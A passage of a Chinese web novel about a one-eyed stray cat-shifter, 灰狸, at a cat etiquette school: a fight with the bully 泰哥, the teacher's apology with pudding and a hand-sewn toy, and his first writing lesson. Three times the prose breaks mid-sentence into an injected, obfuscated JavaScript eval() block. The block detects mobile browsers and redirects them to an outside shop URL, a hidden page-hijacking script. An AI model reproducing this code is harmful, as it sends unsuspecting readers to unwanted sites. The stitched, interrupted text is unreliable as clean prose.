江有鱼连忙捂住话筒,示意学员们自己玩儿,她则出门接电话去了:“您听我说,是这样的……” 江有鱼一走,学员们顿时都撒起欢来,一个个小炮弹一样高高跳起,炸进了玩具堆。很快就玩的不亦乐乎。 这种幼稚无聊的事情,灰狸就不想参与了,而是坐在一边,拆开包装吃起了猫饼干。 自从他能化成人形开始,他几乎不再变回猫的样子,猫的形态太过弱小,他不喜欢暴露自己柔弱的一面。 但他这种不合群的行为,完全背离了猫咪社交课的宗旨,很快就引起了其他学员的不满。 美短“泰哥”是班里块头最大的一只猫,胆子也跟块头一样大。这批学员除了泰哥,都是些性格温柔的小猫咪,故而泰哥一直是班级的一霸。 而灰狸的到来,让泰哥隐隐觉得,自己的地位动摇了。这会儿大家都变回了原型,就这小子还是人形,装什么特立独行? 于是,一肚子坏心眼的泰哥,开始挤兑灰狸了。 他先是做出一个很礼貌的姿态:“灰狸,一起玩球吗?” 灰狸敏感地意识到,他没有叫“大哥”,心中弥漫上一丝不爽。但对方好像又挺礼貌,灰狸于是没发作:“不玩。” “玩球也是上课,你不好好上课,你的主人会生气的。” 灰狸冷哼一声:“我没有主人。” 听见灰狸没有主人撑腰,泰哥立刻把礼貌的笑容收了起来:“原来,是只没有人要的野猫啊!” 咔嚓一声,一块酥脆猫饼干被灰狸攥成了粉末,他眯起眼睛,一字一顿道:“你、说、什、么?” 6.学院风波 “说你是野猫怎么了?”美短胆大是写在基因里的,尤其知道灰狸没有主人,泰哥更不把他放在眼里,“难道你有人要?” 他挑衅地用爪子拨弄着小球:“你这穷鬼野猫,到底是怎么混进学校的?” “怪不得你不跟大家一起玩玩具,是因为你根本就没见过玩具,不会玩吧?” 灰狸起身,他倒不在意泰哥的那些话,野猫就野猫,他这辈子都不想要什么主人。 但泰哥如此挑衅,就是要给他下马威。 每个群体都有等级秩序,他初来乍到,必定要有一场立威之战,才能确立自己的地位。 要是现在不吭气,以后,他就要被别猫当成软柿子欺负了。 这样想着,灰狸掀开嘴唇,呲出一片雪亮的牙齿:“小猫崽子,你再说一遍?” 小喇叭是只热心肠的猫,见势不好,连忙出来劝架:“泰哥,算了算了。” 泰哥却不听小喇叭的金玉良言,一头把小喇叭撞开,扯着嗓门喵喵大叫。 “再说一句怎么了?野猫!土猫!连个玩具都没有的穷猫!你也配跟我们一起玩!” 他嘴上骂,其实眼睛正盯着灰狸的一举一动,浑身肌肉绷紧,做好了战斗准备。 泰哥身强体壮,打架也有一套,很少吃亏,否则也没底气稳坐班中老大的位置。他前后爪分开拉起架势,打算等灰狸一扑过来,他就还以猫拳。 然而他根本来不及施展什么招式,便觉得眼前一花,接着便觉后脖颈子一紧,已经被人提了起来。 灰狸由静到动,一秒之内便冲过三米距离,一把抄起泰哥的后颈皮。 他速度太快,众猫都是一脸懵逼,根本来不及反应。 后颈皮是猫咪身上的软肋,一旦被捏住,猫咪就会四肢绵软,使不出力气。 泰哥也不例外,他挂在灰狸手臂上,四肢乱舞,气得嗷嗷大叫。 “卑鄙!无耻!流氓猫!居然用这一招!” 灰狸伸长手臂,戏谑地将他的毛肚皮展示给众猫看:“小猫崽子,论打架,你还嫩着呢。” “老子在街上混的时候,你这傻猫还没生出来,今天老子就替你娘好好教教你规矩!” 泰哥惊恐地睁大眼睛:“你你你你要干什么!” 灰狸本不屑跟家猫一般见识,只是打算让泰哥从此在班级里威风扫地而已。他冷冷一笑: “放心,老子不跟你小猫崽子动手,那是给你脸了。” “道上混讲究一个以牙还牙,你骂老子,那老子也要双倍骂回来!” 接着,灰狸便这样拧着泰哥,提着他绕场示众,一边走,一边骂。 灰狸来自街头,骂架词汇之丰富、之粗俗,完全超过了这些家猫的想象,把泰哥都给听呆了。 他扭着身子,气的连人话都不会说了,喵嗷嗷嗷地浑身发抖。 江有鱼对屋里的混乱懵然不知,她还在接电话:“石小姐你这就没意思了,欠条注明了是一个月内还账,这才过去一天,你急什么!” “你催我也没用,今天是三月二号,要是我四月一号没还钱,你去法院告我!” 她手上虽然有七千,但谁知道什么时候才能再有进项,起码要等到下个月照顾灰狸的津贴到了,她才敢把这五千还上,否则周转不开怎么办? 她打着打着电话,无意往门里一瞥,眼睛都睁大了。 天啊!灰狸在干什么! 石小姐还在电话那边说着什么,她哪还有心思听,匆匆丢下一句“以后再说”,便把电话挂断,三两步冲进屋里,扑向灰狸。 “灰狸!你怎么能欺负泰哥,快把他放下啊!” 泰哥见有人来了,精神大振,立刻嘤呜呜呜地哭起来,向着江有鱼伸出猫爪。 江有鱼冲到灰狸跟前,从他手上把泰哥夺了回来,泰哥顺势小猫依人地抱紧江有鱼,眼泪吧嗒吧嗒掉,样子活像是受了天大委屈。 灰狸见泰哥被夺走,倒也没什么反应,只是双手插兜站在当地,一脸的无所谓。 江有鱼抱住泰哥,拍着他背毛轻声哄:“泰哥,怎么回事?” 泰哥委委屈屈地用猫爪指着灰狸:“我邀请他玩球,他不玩……然后我们就这样了……” 泰哥一边说,一边落泪:“肯定是我的猫咪礼仪不到位,让灰狸大哥误会了,是我的错。” 灰狸鄙视地看着泰哥的绿茶样,不屑地冷哼:“确实是你的错。” 江有鱼这下有点生气了,第一天上课就欺负同学,事后还一点悔过之意都没有,这怎么能行? 必须要管教! 她拿出老师的威严:“他有错,你就没错吗?无论如何不能对同学动手,灰狸同学,你的表现太糟糕了!” 她起身,把冰箱里的三个布丁拿出来,全部推到泰哥面前:“来,泰哥,吃吧。” 灰狸脸色变了,怒道:“那是我的!” 江有鱼不为所动:“布丁只给表现好的学员吃,你今天犯了错误,还想吃布丁?” “现在,回你的房间去,好好反省一下,吃晚饭的时候才能出来!” 泰哥得知这布丁原本是灰狸的,立刻得意洋洋地把三个布丁挨个舔了一口,挑衅地盯着灰狸。 灰狸的尾巴一下就炸起来了,他强忍着拍扁泰哥的冲动,又急又气地望着江有鱼。 “你觉得他就表现好了?他……” 灰狸脸色激烈变化,嘴唇翕动,只觉得心里极不舒服,好像被一拳打在鼻子上那么酸。 他本想为自己解释一番,但他的骄傲,不允许他向一个人类求助示弱,最终,他只是满不在乎地冷笑一声。 “好啊,你想把我关在哪里就关在哪里,毕竟,你是我的监管人嘛。” 输什么都不能输阵,他强撑着不露出丧气相,迈开步子,慢慢往楼上走去。 江有鱼看着他孤傲的背影,心有点软了。灰狸是第一天上课,自己是不是应该对他更耐心一点呢? 她刚要开口,让灰狸不用去关禁闭了,然而,一阵巨响吓得她把话咽了回去。 灰狸路过泰哥身边,以迅雷不及掩耳之势,将三个布丁杯子抓起,狠狠往地上一掼。 透明的玻璃渣子飞溅,嫩滑的蛋奶布丁被完全摔碎,在地上烂成一坨不规则的垃圾,甜香味跟巨大的响声一块儿,飘的满屋子都是。 泰哥吓得原地起飞,饶是他躲得快,还是被沾了一身蛋奶糊,糖浆把他顺滑的皮毛粘成一坨坨,样子极度狼狈可笑。 其他猫学员更是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16844180|191266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被吓得喵喵直叫,拼命逃窜,艾达和王子太慌张,晕头晕脑地撞在一起,一时间满屋子飘得都是猫毛。 江有鱼一把将起飞的泰哥接住,怒道:“你这是干什么?” 灰狸根本不看她,一脚踢开地上的碎玻璃:“干什么?这是我的!我吃不到也没他的份!” 太霸道了,太猖狂了! 江有鱼气的浑身发抖:“你快点给我上楼去!” 这次灰狸没再说什么,转身上楼去了。 江有鱼只听见脚步重重地响,随后便是咣当一声,灰狸把门摔上了。 她望着满地猫毛和垃圾,还有浑身沾满糖浆的泰哥,长叹一声,只觉疲惫不堪,深切地认识到,在灰狸的问题上,自己表现的太乐观了。 她安抚了学员们情绪,又是扫地,又是给泰哥洗澡,忙完这一切,已经到了下课时间,大多学员们都被家长接回去了。 只有周德福还留在这里,他的主人周先生从事物流行业,工作时间不固定,有时候会迟一点来接他。 四下无人,周德福这才怯怯地靠近江有鱼:“江老师,我想告诉你一件事……” 周德福把下午的事情原原本本说了一遍,江有鱼万万没想到真相居然是这样的,她惊道:“为什么你下午不告诉我?” 周德福为难地甩着尾巴:“要是泰哥知道,那我……” 周德福腿短身子圆,十个捆在一起都打不过泰哥一个,江有鱼也知道他的难处,叹口气:“谢谢你把情况告诉老师。” 送走了周德福,江有鱼也没心思做什么晚饭,瘫在一楼沙发上,想着下午的事情,心里一阵阵后悔。 自己下午的处理实在失当,犯了先入为主的错误。总觉得以灰狸的脾气,只有他欺负人,没有人敢欺负他,这才让泰哥有机可乘。 这个泰哥,这次真是太过分了,下次他来上学,一定要让他给灰狸道歉! 当然,需要给灰狸道歉的,不止是泰哥,还有她一个。 要怎么样,才能向灰狸道歉呢? 江有鱼站起身,走向了厨房。 她重新打蛋做了几个布丁,这一次,她做的是“烤布丁”,不必冷藏几小时,只需要烤箱烘焙40分钟即可。 没过多久,蛋奶布丁的香味就再度飘了出来。 不过,布丁是早就承诺给灰狸的,她还应该为灰狸额外准备一份道歉的礼物。 趁着布丁还在烤制,她从储藏间里翻出针线盒,开始工作了起来。 一小时后,江有鱼拖着一个大托盘上了楼,托盘上有六个玲珑可爱的布丁,她走到灰狸房间敲敲门:“灰狸?我进来了?” 屋里没有回答,江有鱼也习惯了,直接推开了门。 屋里黑漆漆的没开灯,只有天窗漏下一块皎白的月光。江有鱼来回扫视一圈,没看见灰狸的影子,只看见了自己白天给他买的衣服,整整齐齐地叠放在床头。 难道灰狸逃跑了? 江有鱼赶快把布丁放在桌子上,查看手环上灰狸的位置,奇怪?这定位红点不还在房间里么。 翻箱倒柜一番,江有鱼最终在床底找到了灰狸,他又换上了灰扑扑地看守所制服,蜷缩在床下,面冲着墙壁,只拿屁股对着江有鱼,一看就在生闷气。 7.猫仗人势 灰狸确实很生气,不光是气泰哥和江有鱼,更气自己。 他气自己居然被软床美食新衣所迷惑,忘记了人类的本性是多么不堪;气自己在那一瞬间流露出来的软弱,居然想要寻求江有鱼的帮助…… 布丁被他亲手摔碎,新衣服已经脱下来还给她,床铺他也不睡了。 现在,他们两不相欠。 今天晚上他就要偷走手环,从今后恢复自由身,再也不跟人类产生任何瓜葛! 正这么想着,忽然有人敲门,他立刻爬进床下,不愿跟那个人类打照面。 江有鱼趴在地上,望着他那拒绝沟通的背影,柔声道:“灰狸,周德福已经把所有事情都跟我说了,是我不对,冤枉了你。” 灰狸耳朵动了动,却没有一点想要转过来的意思。 “我不该把你的三个布丁给了泰哥,我新做了六个布丁,双倍赔罪,出来吃点心好吗?” 灰狸依旧不动。江有鱼锲而不舍,拿起一个布丁就往床下钻,诱哄道:“尝尝嘛,很好吃的!” 浓浓的香味钻进灰狸鼻子里,他抽动一下鼻尖,怒道:“我不稀罕!拿走!” 看来小猫咪确实气得不轻,江有鱼只能更加诚恳地道歉:“灰狸,我当时太急躁了,我向你道歉。” “可是,你为什么不告诉我,是泰哥先骂你的?” 灰狸正在气头上,寒声道:“他说的都是对的,我就是没人要的野猫、穷鬼猫,算不上骂我。” “那也是他不礼貌在先,你当时跟我说出真相,我肯定会惩罚泰哥的!” “我没说吗?我不是已经说了,确实都是他的错吗?” 江有鱼一愣,想起来灰狸确实说过这句话,但她当时把这句话当成了灰狸桀骜不驯的证据,完全没想到灰狸说的是真相。 “你要是仔细解释一下……” 灰狸忽然翻了个身,对上江有鱼的脸。 床下,他的独眼闪着森寒的光:“你心里早就认定是我在欺负他,我再解释又有什么用?” 江有鱼一时间无言以对,只得低下了头。 灰狸冷笑一声:“算了,不信我的多了去了,不差你这一个。” “我现在不想看见你,你走开,让我自己清静一会儿。” 江有鱼犹豫了一会儿,果然退出了床底下,灰狸眼前再看不见那可恶的脸,可他心里反而沉了一下,怒气更盛。 他烦躁地再次翻身,用额头抵着墙壁,借墙壁凉意来压制心中怒火。 可偏偏这时,他感觉到有什么东西戳了戳他的后背,他低吼一声,一翻身,啪地一掌将那玩意儿按住。 谁知那东西触手绵软,灰狸一时间反而愣住了,低头一看,他按住的是江有鱼的手。 灰狸跟被火烫了一样,迅速收起手臂,江有鱼倒是没觉得有什么,她张开手掌,手心里是一个巴掌大的老鼠玩偶。 玩偶灰扑扑的,圆身子尖脑袋,一根长尾巴,鼻子眼睛嘴巴都是歪歪扭扭,没有一个长在该长的地方,实话实说,丑得要命。 说它是老鼠,是因为它跟其他动物更扯不上关系。 灰狸盯着这玩偶,不懂江有鱼这是哪一出:“你这是什么意思?” 江有鱼小心翼翼地捧着这个老鼠布偶,心下忐忑:“灰狸,我知道你不开心,但我还是希望你能收下这个,作为我的一点小补偿。” “这个玩具,是我给你做的。以后要是泰哥再笑话你是没人要的穷鬼猫,你也不要跟他打架,只要掏出这个老鼠玩偶,就能证明,还是有人在关心你的。” “以后,如果再有猫欺负你,记得要跟我说,我一定会相信你的。” 灰狸沉默了半晌,终于把手伸过来,轻轻地拨弄了几下玩偶。 “你亲手做的?” 江有鱼有些不好意思地点点头:“我知道应该买个全新的玩具给你,但是现在天色晚了,商店都关门了……” 而且她也不想花那么多钱,现在他们的生活费还是很紧张的。 她害怕灰狸嫌弃这东西丑,连忙道:“虽然不怎么好看,但是挺结实的,我缝了好几遍,怎么咬都不会坏!” 出乎意料的是,灰狸却没怎么关注那玩偶的颜值问题,反而盯住了她的手:“你的手上有血腥味?” 江有鱼看了看自己手:“没事,缝玩偶的时候,不小心扎到手指头了,就出了一滴血,现在早就止住了。” 灰狸犹豫地碰了碰她那根受伤的手指头:“疼吗?” 江有鱼心里暖暖的:“不疼,真的没事。” 灰狸拿过布偶在手里捏着,垂着头不知道在想什么,但看样子,礼物他收下了。 江有鱼便起身从床下钻出来,在地上趴了半天,她只觉得膝盖疼:“那我就不留在这里招你烦心了,你继续休息吧。” 她起身就要走出门,床下忽然传来一声闷闷的声音:“等等!” 江有鱼转头,看到灰狸从床下爬了出来,只露出一个脑袋看着她:“明天泰哥还会来吗?” “来啊,周一到周五每天都要上课的,只有周末不上课。”江有鱼猜到了灰狸的意思,“你放心,事情我已经知道了,明天上课的时候,我会批评泰哥的!” 灰狸这才满意地点点头,眼光往托盘上一瞥:“我肚子饿了。” 江有鱼会意,摁亮了壁灯,温馨的暖黄灯光瞬间驱散了黑暗:“那要出来吃点心吗?” “……要。” 烤布丁热气腾腾,口感细腻柔软,奶香浓郁,灰狸尝了一口,只觉好吃到连舌头都要融化了! 他想着下午被他摔碎的布丁,更是十分珍惜地一点点舔舐,可惜布丁都不大,很快他就吃完了三个。 他意犹未尽地舔舔嘴巴,却还是停了下来。 江有鱼疑惑地看着他:“怎么不继续吃了?六个都是你的。” 灰狸一挥手把这三个布丁推远:“这三个给我留着,明天泰哥来上课的时候,我再吃。” 江有鱼知道他这是要气死泰哥,心说小猫咪还挺记仇:“好,那我就先把它放冰箱里。” 她转头,看着灰狸在床底下趴了半天,浑身都是灰,忍不住道:“你身上太脏了,快把脏衣服脱了洗个澡,洗过澡之后就穿睡衣。” 就这样,灰狸吃了一肚子甜点,又被推进浴室,洗了一个暖呼呼的热水澡。 沐浴乳是猫咪专用的无香型,令他敏感的鼻子很舒服,洗完澡又穿上崭新的奶黄鸭子睡衣,干净清洁地爬上了柔软的羽绒床。 灰狸的心情很平静,只觉身体十分放松,四肢软软的,眼皮也沉沉的。 他有点想睡觉了。 至于逃跑的念头,也跟刚刚的一肚子气一样,早就不翼而飞了。 毕竟,明天不当着泰哥的面吃掉三个布丁,这件事就不算完! 这样想着,他赶快闭上眼睛,想让时间快一点来到明天。 江有鱼帮他关掉壁灯,轻声道:“灰狸,晚安!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848417|191266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 灰狸的耳朵动了动,终究还是没有回答,江有鱼倒也习惯了,转身离开,关上了门。 一片黑暗中,灰狸掏出了那个丑八怪老鼠布偶。 随后,他将布偶捂在自己的胸口,感受着那柔软的触感,身子蜷成一团,坠入了梦乡。 第二天的时候,江有鱼果然没有违背承诺,拉着脸就把泰哥叫了起来:“泰哥,你实话实说,昨天具体是怎么回事?” 泰哥只觉大事不好,耳朵心虚地耷拉下去,眼神飘忽:“……我昨天都说了呀。” 江有鱼大怒:“还狡辩!一楼有监控摄像头的,事情的真相我全都知道了!” “就是你先挑衅同学,说灰狸是穷鬼猫,没人要的猫对不对?快给灰狸道歉!” 泰哥见无从抵赖,不满意地哼唧道:“……对不起。” 江有鱼转向灰狸:“灰狸,你接受他的道歉吗?” 灰狸掏掏耳朵:“谁知道他哼唧什么呢?声音太小,我听不见。” 泰哥怒了:“你没长耳朵吗?” 江有鱼嘭地敲了一下桌子,吓得泰哥一激灵:“你这是道歉的态度吗?好好说话!” 泰哥只好哭丧着脸大声道:“对不起,灰狸,请你原谅我吧。” 灰狸这才优雅地点点头,表示接受道歉。 江有鱼立刻鼓掌道:“灰狸同学宽宏大量,展现出了优良的猫咪礼仪,非常值得各位同学学习!让我们为灰狸献上掌声!” 在学员的掌声中,江有鱼从冰箱里拿出布丁:“为了奖励灰狸同学的善良大度,老师奖励他三个美味的布丁!” “至于你,泰哥,我罚你一个礼拜都不能吃零食!一会儿我就打电话给你主人!” 灰狸拿起一个布丁,故意走到泰哥面前吃起来,一边吃一边舔嘴咂舌,做出一副吃的很香的样子。 泰哥看他这嚣张的样子,气的眼珠子都冒火了。 可惜,江有鱼就在一边给灰狸撑腰,泰哥敢怒不敢言,只得把头转开,不跟灰狸对视。 这就是猫猫们表示认输的动作了。 灰狸觉得这感觉真是棒呆了! 不知道有多少只猫对他认过输,但感觉跟这一次完全不一样,这……就是猫仗人势的感觉吗? 灰狸的尾巴越翘越高,都有突破天际的趋势了。 泰哥的心情就不那么美丽了,看着灰狸大口吃布丁,而他却被取消了一周的零食,怎么能不让猫心里生恨! 此仇不报非美短,他暗暗发誓,要是不想办法出了这口恶气,他的名字就倒过来写! 灰狸可不知道泰哥在想什么,在吃掉了一个布丁之后,灰狸又把剩下的两个布丁送给了周德福和小喇叭。 灰狸不是个抠门猫,相反,他对自己猫一向很大方的,在黎明会的时候,有好东西他也是先分给兄弟们。 周德福说出了真相,避免了他被冤枉,应当对他表示感谢;小喇叭昨天试图拉架,虽然失败了,但也展现了足够的善意。 这两个猫从今天起就是他灰狸的兄弟了,灰狸的独眼里露出几分温和,拍了拍二猫的头:“吃吧,从今以后,灰狸大哥罩着你们!” 分享食物非常容易拉进猫咪关系,两个布丁吃完,周德福跟小喇叭就开始一口一个“大哥”的叫灰狸了。 江有鱼满意极了:真好呀!灰狸也在班里交到朋友了! 这个小插曲总算处理完了,她翻开书:“今天我们来上文化基础课……” 8.灰狸奋发图强 文化基础课顾名思义,就是教导小猫学习认字和算数的课程。 在人类社会里,学会认字和算数是非常有用的,小猫如果学会了这个,就可以帮助主人拿快递、买菜、跑腿,能够为主人省去不少麻烦。 想要拿到猫德证,小猫需要学会简单四则运算,认三百个常用字。 至于写字,小猫只要会写自己的名字、主人的名字和家庭住址就行,只有特别聪明的猫才会尝试学写其他字。 这门课对猫咪来说,是一等一的枯燥无聊,猫咪再怎么变,也只是猫而已,指望他们坐得住板凳念书算题,那也太难为他们了。 书页刚翻开,周德福就已经开始打呼噜了,其他学员也是昏昏欲睡。 但跟其他学员不同,灰狸的独眼睁得大大的,身子也坐的笔直笔直,一看就对课程十分的感兴趣! 学认字和算数! 灰狸简直激动死了,这是多么宝贵的知识呀! 大街上到处都是字,每个字都代表着不同的信息,只要能看懂字,就知道食物放在哪里、自己身处何方、身边有没有危险…… 跟家猫不同,流浪猫几乎没有任何渠道能去学习写字算数,却比家猫更需要这些知识。 懂得生活艰辛的灰狸,分外珍稀这个机会,这会儿,他早就忘了自己一点都不想上猫德学院,而是握紧拳头决定,要好好学习! 只要学会了认字算数,以后在街上讨生活的难度,可就大大下降啦! 于是接下来的课堂,就成了江有鱼跟灰狸的二人转。 江有鱼一提问,灰狸就举手抢答;江有鱼布置练习题,灰狸也第一个做完;甚至江有鱼要在课堂上做随堂小测验,要叫一个同学去黑板上答题,灰狸都抢着去! 同学们都惊呆了:这么枯燥无聊的东西,他怎么听得进去的? 而江有鱼则在灰狸身上找到了空前绝后的成就感。 身为教师,最怕的就是同学们在上课时都睡大觉,完全没人配合,像灰狸这么捧场的学生,哪个老师不会当宝贝呢? 于是一个卖力的教,一个拼命的学,一节课下来,灰狸居然认会了10个字! 要知道,之前这门功课学得最好的王子,只学会7个字呢! 今天的教学效果真是非常之好,最后下课的时候,江有鱼的嗓子都讲哑了,她深感这是最近她上的最投入的一节课。 课间休息时间,小喇叭和周德福崇拜地跟在灰狸屁股后面发问了:“大哥,你怎么这么聪明啊?” “是啊是啊,大哥,你的身手也很好呢!那动作快的,我都看不清!” 灰狸不以为意:“这有什么,混街面的,要是连这两下子都没有,那我也活不到现在了。” 二猫从睁开眼就在人类家里长大,从未想象过街上的生活是什么样,都好奇地睁大眼睛:“大哥,什么叫混街面?” 灰狸今天心情也不错,也就顺势提起了自己以前的日子:“混街面,就是没有主人没有家,天地之大,任你去闯。” 小喇叭追问:“没有主人,那吃的从哪里来?” “自己去翻垃圾桶,或者从店铺里偷,运气好的时候能弄到整块鲜肉呢。” 周德福睁大眼:“那睡在哪里呢?” “树上、绿化带、下水道都不错,遮风挡雨,睡下水道还能吃上老鼠自助餐。就是别睡桥洞,有时候可能会遇到流浪狗,在空旷的地方,咱们跑不过狗,容易被围死。” 旁边的王子听到狗字,也感兴趣地围上来:“狗有什么可怕?我每天都打,没有一个敢还手。” 灰狸问明白王子打的狗,是王子主人养的吉娃娃后,轻蔑道:“你家那叫什么狗?根本是废物!我说的是成群的流浪狗!” 他今天兴致颇高,干脆给大家讲起了自己的光辉往事:“想当年,云朵市有个流浪狗团伙,共有十八条疯狗组成,每条都是体重在80斤左右的大型犬!” “他们横行霸道,专门在野外成群结队地袭击我们猫族,咬死我们的同胞还不算,还要把尸身吃掉。” 这故事太残酷太血腥,咕咚一声,胆子最小的白糖晕倒了。 所有的猫学员都被这新奇刺激的故事吸引了,只有泰哥不耐烦听灰狸吹水,赌气自己跑到外头花园子里玩去了。 其余猫都围到灰狸身边,催促他继续讲下去:“后来呢?” 灰狸挺起胸脯:“后来?老子知道此事后,义不容辞,当下就上门砸它们场子!” 他说得兴起,在街头染上的粗口又不自觉地出来了:“那天老子一猫单挑他们十八条狗,我把它们堵在一个小巷子里,手持长棍,对面来一个我打它一个,来两个我宰它们一双……” “巷子太窄,蠢狗又不会上墙,十八条狗,都被老子打的抱头狗窜!” “最后,它们十八个都躺在地上起不来,眼睁睁看着老子在他们的地盘上磨了一圈爪子,圈成了我们猫族的领地!” “当天晚上它们就灰溜溜地离开了云朵市,再也没敢回来过。” 这个故事真是热血沸腾,小喇叭听完,简直崇拜灰狸崇拜的要死,他也好想做灰狸这样的大英雄啊! 小喇叭立刻对灰狸纳头便拜:“大哥!这种生活真是太热血了!我也想跟大哥一块去混街面!” “啪!”小喇叭的头立刻被灰狸敲了一下,灰狸睁着独眼骂道:“你缺心眼啊?有人捧着疼着的好日子不过,要去混街面,那是好混的吗?” “运气不好的时候,没吃没喝,狗咬人踢,冬天受冻,夏天挨晒,你当像是在学校里吃点心睡午觉那么轻松?” 小喇叭挨了训,怯怯道:“既然这么不好过,那大哥为什么还要混街面呢?” 灰狸沉默了,他目光闪动,无数沧桑往事从他的脑海中一一划过。 虽然他还很年轻,但这一刻他给人的感觉,却像是一支烧到头的烟,色彩已经燃尽,只剩下惨白的烟灰。 半晌后,他只是叹息一声:“大哥希望,你永远都没有懂的那天。” 这惆怅只是一瞬,紧接着灰狸又告诫小喇叭:“别想些乱七八糟的,认真上课,我们混街面的猫,想学写字算数都没机会呢!” “现在有机会学,一定要好好学会啊!万一……你们真的要去混街面了,会这些的猫,也能混得好些。” 经历过人间风雨的灰狸老大哥,对这批不知天高地厚的小猫崽子语重心长了。 有了灰狸大哥的一番言传身教,学员们忽然意识到,自己有人养着,还能上学的日子是很幸福的,学习热情一下高涨起来。 接下来的生活常识课,大家也都上的很用心,很快,大家就熟练掌握了“遇到紧急情况要拨打110报警”这个概念。 江有鱼对灰狸今天的表现非常满意,尤其吃完晚饭后,灰狸还主动要求复习今天学的10个字,可把江有鱼感动坏了。 有这么好的学生,夫复何求啊! 她见灰狸是个可造之材,一时间也没多想,便问他:“你很聪明,想不想挑战一下高级课程,学写字?” 谁知道,灰狸的反应让他大吃一惊。 灰狸尾巴尖都有点抖了,脸上的神情活似被一吨的猫粮砸中,喉结连续滚动几下,才结结巴巴道:“学……写字?你愿意教我写字?” “是啊,但是你愿不愿意学呢?” “愿意!” 灰狸的嗓门极大,把江有鱼都吓了一跳。 他好像生怕江有鱼反悔一样,慌忙蹿出去,满屋飞上飞下找纸笔。 没一会儿,他就翻出一个印着有鱼猫德学院logo的笔记本和几支笔,往小凳子上端端正正一坐,热切地看着她:“现在就教吧?” 江有鱼被灰狸的好学深深打动了,她义不容辞地接过笔:“来!现在就教!” 柔和明亮的灯光下,江有鱼先在纸上做示范:“我们先从笔画开始,你看,这样从左往右的直线就是横,从上往下的直线就是竖……” 灰狸学的很认真,只是他握笔姿势跟抓木棍差不多,横竖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16856498|191266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都不好发力,写出来的东西东倒西歪。 江有鱼摇摇头,伸手握住了灰狸的手,想帮他调整姿势:“要这样……” 灰狸身子抖了一下,手指反而更僵硬了,咔嚓一声把笔从中间掰断了。 “哎?你别这么紧张,放松啊!”江有鱼连忙去掰他的手指头,灰狸顺从地放手,断成两截的笔滚落在地。 江有鱼把自己的笔塞给他,双手握着他的手指,教他如何握笔:“手要握成一个空心拳头,要打开……” 她的两只手裹住灰狸的大爪子,灰狸只觉她的手掌温热柔软,抚过他肌肤的时候,让他身上所有的毛都根根乍起。 随着这触碰而来的,是一阵甜蜜、愉悦、放松,那是猫咪被人抚摸后自然的生理反射,让他想起春日的微风和冬夜的壁炉。 灰狸羞赧不已,暗暗责怪自己不专心,居然会跑神到莫名其妙的地方去。他定一定神,顺从地摊开手,任江有鱼摆布。 江有鱼倒没想那么多,调整了握笔姿势后,便手把手地教他发力。 她站在灰狸身侧,半伏下身子,不小心蹭到了灰狸毛绒绒的耳朵,搔得她下巴痒痒的。 灰狸耳朵抖了抖,江有鱼这才注意到两人距离太近了,想到灰狸不喜欢人碰他,当即站起身子:“噢……我不是故意的。” 灰狸没动,江有鱼从头顶看下去,只能看到他微颤的睫毛:“没事。” 室内一时沉默,江有鱼忽然觉得气氛有点怪,她连忙继续教下去:“你看,会这两个笔画就能组合很多字了,一、十、干、口、回、日、田、甲……” 她一口气写了一排字,让灰狸自己去练习,她则赶快走到窗边,平复心中莫名的躁动。 灰狸的毛……真的好软。 什么时候,他才肯让自己摸一摸他呢? 灰狸认真练字,时间很快就到了十一点,江有鱼看一下表,提醒道:“灰狸,该睡觉了,练习也不急于一时啊。” “我不困。” 江有鱼不听他的,直接没收他的笔:“如果今天熬夜太久,明天上课的时候就会没精神,那样就学不到新东西了,你说是不是?” 这话似乎很有道理,灰狸立刻放下本子上了床,用被子把脑袋蒙的严严实实。 江有鱼关掉灯,转身出门,在出门前,她忽然听到一句轻轻的“谢谢”。 那声音太轻了,轻到她差点以为自己出现了幻觉。 她猛地转头,不可思议地望着那个隆起的被窝:“灰狸?你刚刚说了谢谢吗?” 那团被子蠕动了几下,应该是灰狸在里面点了点头。 江有鱼笑了,她上前蹲身,轻轻掀开被褥,灰狸挣扎一下,似乎想要阻止,最终却还是任由她掀开,把毛绒绒的脑袋暴露在外面。 裹在被子里的他头毛乱翘,身上的危险气质被磨灭了不少,看起来只是个普通的小猫。 “灰狸,我不需要你谢我,我做的一切,都是我对你应尽的责任。” “如果你觉得我做的不错,那么,可不可以也请你,学着做一只好猫?” 说罢,她温柔地盯着灰狸的眼睛,开口道:“灰狸,晚安!” 灰狸的眼睫飞速颤动,江有鱼安静地等着,就好像她第一次向灰狸伸出手时那样耐心。 半晌,灰狸终于抬起眼睛,他的瞳孔浑圆如珠,纯澈明亮,月光下,居然显得无比温柔沉静。 他就这样望着江有鱼,眼瞳中仿佛倒映着星星,轻声回应:“……晚安。” 